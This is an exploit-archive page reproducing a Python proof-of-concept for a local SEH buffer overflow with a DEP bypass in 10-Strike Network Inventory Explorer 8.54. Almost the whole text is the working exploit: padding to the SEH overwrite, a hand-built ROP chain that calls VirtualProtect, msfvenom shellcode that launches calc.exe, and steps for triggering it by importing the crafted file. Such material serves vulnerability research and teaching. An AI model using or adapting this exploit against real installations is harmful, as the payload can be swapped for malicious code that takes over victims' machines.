10strike network inventory explorer 8.54 local buffer overflow (seh) (dep bypass)
▸▸▸ Exploit & Vulnerability >> local exploit & windows vulnerability
#!/usr/bin/python # Exploit Author: bzyo # Twitter: @bzyo_ # Exploit Title: 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass) # Date: 01-29-19 # Vulnerable Software: 10-Strike Network Inventory Explorer 8.54 # Vendor Homepage: https://www.10-strike.com/ # Version: 8.54 # Software Link 1: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe # Tested Windows 7 SP1 x86 # PoC # 1. run script # 2. open app, select Computers tab # 3. click on 'From Text File' # 4. choose 10strike.txt that was generated # 5. pop calc # manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt' finds # practicing dep bypass by not using auto generated mona.py ropchains # original seh poc from Hashim Jawad, EDB: 44838 # notes from author state offset is based upon username size, username for poc is 'user' # badchars; \x00\x0a\x0d\x2f import struct filename = "10strike.txt" junk = "\x41" * 209 seh = struct.pack('<L',0x10013e29) fill = "\x42"*12 #VirtualProtect() #ESI = ptr to VirtualProtect() rop = struct.pack('<L',0x7c3762b3) # POP EAX # RETN rop += struct.pack('<L',0x61e9b30c) # ptr to &VirtualProtect() rop += struct.pack('<L',0x1001872e) # MOV EAX,DWORD PTR DS:[EAX] # RETN rop += struct.pack('<L',0x100101f2) # POP EBX # RETN rop += struct.pack('<L',0xffffffff) # rop += struct.pack('<L',0x100186d1) # ADD EBX,EAX # XOR EAX,EAX # RETN rop += struct.pack('<L',0x7c358a01) # INC EBX # XOR EAX,EAX # RETN rop += struct.pack('<L',0x7c3501d5) # POP ESI # RETN rop += struct.pack('<L',0xffffffff) # rop += struct.pack('<L',0x61e8509c) # ADD ESI,EBX # RETN rop += struct.pack('<L',0x7c370464) # INC ESI # RETN #EBP = ReturnTo (ptr to jmp esp) #mona.py jmp -r esp -cpb '\x00\x0a\x0d' rop += struct.pack('<L',0x61e05892) # POP EBP # RETN rop += struct.pack('<L',0x61e053a9) # push esp # ret #EBX = dwSize x201 rop += struct.pack('<L',0x7c348495) # POP EAX # RETN rop += struct.pack('<L',0xfffffdff) # rop += struct.pack('<L',0x7c351e05) # NEG EAX # RETN rop += struct.pack('<L',0x100101f2) # POP EBX # RETN rop += struct.pack('<L',0xffffffff) # rop += struct.pack('<L',0x61e0579d) # INC EBX # RETN rop += struct.pack('<L',0x100186d1) # ADD EBX,EAX # XOR EAX,EAX # RETN #EDX = NewProtect (0x40) rop += struct.pack('<L',0x7c344160) # POP EDX # RETN rop += struct.pack('<L',0xffffffc0) # rop += struct.pack('<L',0x7c351eb1) # NEG EDX # RETN #ECX = lpOldProtect (ptr to W address) rop += struct.pack('<L',0x7c37157a) # POP ECX # RETN rop += struct.pack('<L',0x61e894c0) # &Writable location sqlite3 #EDI = ROP NOP (RETN) rop += struct.pack('<L',0x1001ab53) # POP EDI # RETN rop += struct.pack('<L',0x1001ab54) # ROP-NOP #EAX = NOP (0x90909090) rop += struct.pack('<L',0x7c3647cc) # POP EAX # RETN rop += struct.pack('<L',0x90909090) # nop #PUSHAD rop += struct.pack('<L',0x10019094) # PUSHAD # RETN nops = "\x90"*10 #msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d\x3a\x5c' -f python #Payload size: 220 bytes calc = "" calc += "\xbb\x29\x86\xf9\x07\xda\xdb\xd9\x74\x24\xf4\x5e\x31" calc += "\xc9\xb1\x31\x31\x5e\x13\x83\xee\xfc\x03\x5e\x26\x64" calc += "\x0c\xfb\xd0\xea\xef\x04\x20\x8b\x66\xe1\x11\x8b\x1d" calc += "\x61\x01\x3b\x55\x27\xad\xb0\x3b\xdc\x26\xb4\x93\xd3" calc += "\x8f\x73\xc2\xda\x10\x2f\x36\x7c\x92\x32\x6b\x5e\xab" calc += "\xfc\x7e\x9f\xec\xe1\x73\xcd\xa5\x6e\x21\xe2\xc2\x3b" calc += "\xfa\x89\x98\xaa\x7a\x6d\x68\xcc\xab\x20\xe3\x97\x6b" calc += "\xc2\x20\xac\x25\xdc\x25\x89\xfc\x57\x9d\x65\xff\xb1" calc += "\xec\x86\xac\xff\xc1\x74\xac\x38\xe5\x66\xdb\x30\x16" calc += "\x1a\xdc\x86\x65\xc0\x69\x1d\xcd\x83\xca\xf9\xec\x40" calc += "\x8c\x8a\xe2\x2d\xda\xd5\xe6\xb0\x0f\x6e\x12\x38\xae" calc += "\xa1\x93\x7a\x95\x65\xf8\xd9\xb4\x3c\xa4\x8c\xc9\x5f" calc += "\x07\x70\x6c\x2b\xa5\x65\x1d\x76\xa3\x78\x93\x0c\x81" calc += "\x7b\xab\x0e\xb5\x13\x9a\x85\x5a\x63\x23\x4c\x1f\x9b" calc += "\x69\xcd\x09\x34\x34\x87\x08\x59\xc7\x7d\x4e\x64\x44" calc += "\x74\x2e\x93\x54\xfd\x2b\xdf\xd2\xed\x41\x70\xb7\x11" calc += "\xf6\x71\x92\x71\x99\xe1\x7e\x58\x3c\x82\xe5\xa4" pad = "\x45"*(3000 - len(junk + seh + fill + rop + nops + calc)) buffer = junk + seh + fill + rop + nops + calc + pad textfile = open(filename , 'w') textfile.write(buffer) textfile.close()
10strike network inventory explorer 8.54 local buffer overflow (seh) (dep bypass) Vulnerability / Exploit Source : 10strike network inventory explorer 8.54 local buffer overflow (seh) (dep bypass)